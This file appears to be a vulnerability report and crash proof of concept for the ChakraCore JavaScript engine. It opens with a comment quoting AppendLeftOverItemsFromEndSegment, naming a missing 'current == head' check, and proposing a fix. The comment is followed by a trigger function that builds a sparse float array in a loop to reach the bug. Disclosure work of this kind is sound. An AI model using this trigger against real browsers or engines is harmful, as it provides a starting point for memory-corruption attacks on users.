/* Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl. growby = endSeg->length; current = current->GrowByMin(recycler, growby); CopyArray(current->elements + endIndex + 1, endSeg->length, ((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length); LinkSegments((Js::SparseArraySegment<T>*)startPrev, current); if (HasNoMissingValues()) { if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby)) { SetHasNoMissingValues(false); } } In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method. I guess it shoud be like: if (current == head && HasNoMissingValues()) { if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby)) { SetHasNoMissingValues(false); } } */ function trigger() { let arr = [1.1]; let i = 0; for (; i < 1000; i += 0.5) { arr[i + 0x7777] = 2.0; } arr[1001] = 35480.0; for (; i < 0x7777; i++) { arr[i] = 1234.3; } } for (let i = 0; i < 100; i++) { trigger(); }
